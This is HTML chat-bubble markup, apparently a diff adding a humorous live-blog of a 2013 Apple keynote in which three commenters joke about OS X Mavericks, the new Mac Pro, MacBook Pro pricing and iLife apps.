+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">BOOM!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I"M CALLING IN SICK.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Siracusa just cried.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Ok. Presentations over. Go get Mavericks.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I\'M NOT BACKED UP!!!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">UNTUCKED SHIRT!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I WASN\'T PREPARED FOR THIS</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">This is great news. I like that theyre going free for everyone. Thats awesome.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Cue Video of People screaming and running out of Apple stores with free OS</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOOT ALL THE THINGS</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That is the problem.
+I still remember paying $129 for Tiger.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Oooh, Macbook Pro update?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">FOR A BOX!
+That poor tree.
+Haswell.
+Im guessing non-Retina is dead.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">WHAT? HOW CAN THEY DO THIS BLACK MAGIC!?!?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">So thin you can cut yourself on the edges.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">... and it is purple.
+Thats good news.
+Prices Phil.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">The Black Knight.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I only buy purple computer chips.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Only on iTunes.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Same here.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">WIFI has air conditioning now!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Im guessing hardware decoding helps with that.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">!!!!
+That\'s not much more than my air...
+TODAY!!??!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">MacBook Air is free!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We\'re going FREE in a BIG WAY.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">No more non-Retina.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">5C is free cause we can\'t sell them all.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We\'re printing money, you can have anything for free at this point.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">And a toaster!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We\'ll just make more money to cover the cost.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">$1799.
+BLAH!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Free posters for your wall with petals.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Duh.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I didn\'t realize that computers were so expensive.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">MORE CHECKBOXES!!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Free Mercury!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That $1299 13 is tempting.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Mac Pro.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">A very significant, if unsurprising update.
+blown away</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Blown away by the trash can.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That is one powerful fan.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I think this is all cinema 4D... I don\'t think they actually built one.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Theyre just going to bring out an old case.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"Simply remarkable."</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">The Mac Pro is virtual. You don\'t get a box.
+Cloud based.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">THE FASTEST MEMORY!* (*that we have ever put in a mac)</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">We finally put graphics cards that aren\'t old in a Mac.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That is some speedy storage.
+Yup, spinning rust taps out at about 120 MB/sec.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We\'ll even sell you this case that matches to put your drives into!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">For a single drive.
+Who is going to be the first to mod a real trash can with a RAID array to Thunderbolt?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I can\'t wait to see the enclosures people make to go with this device.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Row of trash cans daisy chained together.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Packed and built for expansion.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">It\'s only one Mac Pro. I know it looks like ten.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That is one dense machine.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"We can\'t imagine what people can do with this."</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">So weve decided to not sell it to people ... only robots!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">FREE</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Final Cut Pro X. It\'s all Downhill from here.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I do not know these people.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">And... that\'s why...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I think Phil probably sleeps with these things.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">This Mac Pro is killer.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">This Mac Pro is (a) killer.
+Whew.
+This is going to get expensive fast.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">3K. hmmm</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Not terrible. However, now I need to price out the TOP OF THE LINE model and find out if it can cost more than my house.
+Should be able to do it.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">SO RECYCLABLE that you can throw it into the trash... or use it as a trash can.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">30k</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"THIS CHART PROVES IT"</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That cannot be understated, less power is a big deal when you get some space heaters together.
+Whew. Thats nuts.
+I have a Mac mini under my desk right now.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">You\'re nuts.
+You\'re going to buy like 6 of these.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I wish.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We made another video for you!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">NEW VIDEO</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I wonder how hard of a sell a lab of Mac Pros would be.
+There you go Aaron.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Better be edited on FCPX.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I want to hear the disembodied voice of Jony Ive!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">JEFF WILLIAM THE COMPOSER!... oh wait... not the same guy.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Not this Williams fellow!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Shiny, captain.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Robots!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Oh, he has a Jarvis too!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">This is what having 100+ billion in the bank can do for your product line.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Who assembles the assembly line?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">I want a tour .</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">It is like a freaking laboratory for a single computer line from a single company.
+Alright, I want one.
+Crap.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">If I buy a Mac Pro do I get an assembly line tour too?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">How to convince my boss to get me two ...
+Maybe when you get the top-of-the-line model?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">There\'s more!?!?!?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">EDDIE!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Eddie!
+Who is Eddie?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Appses</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">He seems like a mobster.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">BIGGEST UPDATES EVER</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL
+Another drink?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">He is a mobster.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">He does do the negotiating.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">WE REDESIGNED THE ICONS!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Designed to look different!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">We are going to kill the competition.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Crap. I am going to spend money.
+64-bit!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">It\'s all free Bob!
+IT\'S ALL FREE!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I wish I could get a free Mac Pro.
+I spent $2000 on my original 15 PowerBook G4 ... $3K on a Mac Pro ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I you have iOS, because, let\'s be honest, we know you do, and if you don\'t security will escort you out.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">You have to show your iPhone to get in.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Photo Books are extremely popular. Bringing them to the iPad is an excellent move.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">iPhoto! The same, but we changed the icon!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">amazing</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">iMovie is new from the ground up! Because we like to do that every so often...
+You don\'t need to edit!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iMovie has ONE button now!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">New design! Because we can\'t quite figure this out for reals...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">WHAT WIZARDS DO THEY HIRE!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We simplified the interface, so that you can\'t actually do anything with the things... because that\'s complicated and we want it to be simple.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I think we call this value add.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iMovie theater. More file management users won\'t understand.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Geez Apple ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The most popular musical creation app... in the world... that is part of ilife...
+It\'s asterisks all the way down.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Remember when we couldnt even make phone calls from our phones because we didnt have one ... now you can record whole albums from one.
+LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Everything is killer .</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I don\'t remember that.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Serials.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Click the drummer button, and we\'ll send one to your house.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">WE NO LONGER NEED DRUMMERS!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Siri. I need a beat.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">OR HUMANS!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">What is this I don\'t even...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">The drummers have names.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"We have so much money we\'re trying to spend it as fast as we can, but it\'s just not working... we really don\'t understand it..."</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">In. App. Purchase.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">@aaron - Unlike real drummers... who don\'t have names.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Is that a bio next to the photo?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I have a feeling that he drew the short straw because this is his baby.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">DRUMMER</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Mobster.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"That was AWESOME... I love garageband..."</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">He just gets stuff done.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Is he drunk?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">NO!
+I WANT FREE FOR EVERYONE!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">FREE drummers.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">AUUGH... free for everyone plz!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">...I guess I need to purchase a new Mac.
+NEW ICONS!
+64-bit please?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Free pizza tray where the optical drive used to be.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Collaboration?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Of course it\'s 64 bit. It\'s free for new users.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Could it be a pizza oven?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Because SCREW PEOPLE WHO NEED TO UPGRADE.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Drummers don\'t work on an empty stomach</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We can\'t afford to give EVERYONE iWork.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">You could probably cook a pizza on top of a Mac Pro.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Will drum for food.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Microsoft Office sucks.
+That is what he meant.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">What hasn\'t apple reinvented?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">The Mac Pro had an integrated stovetop.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I like that.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">MacPro Grill.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">It now presents for us?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">WHAT!?!?!?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Im sure no one noticed.
+Plus, if it crashes, no one will care.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">PLOT TWIST</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Video of famous director eating grilled Sandwich while swiping with greasy fingers.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">WHOA</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">DEMO!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I still feel like Eddie Cue should be knocking the heads of the movie studios right now.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">No one lets you do what we do with our app because no one loves you like apple loves you.
+That\'s easy to imagine</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Plus, he has a great mobster name.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">HE\'s a rapper!
+BLING BLING</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">He wears a Mac Pro on a chain around his neck.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOL
+Steve is rolling in his grave.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Oh a semi-serious note, I like that they take pots at themselves and each other.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">POT. That\'s probably the problem.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">All their meetings are nonsense and jokes now that Steve isn\'t there to tell them to get back to work.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
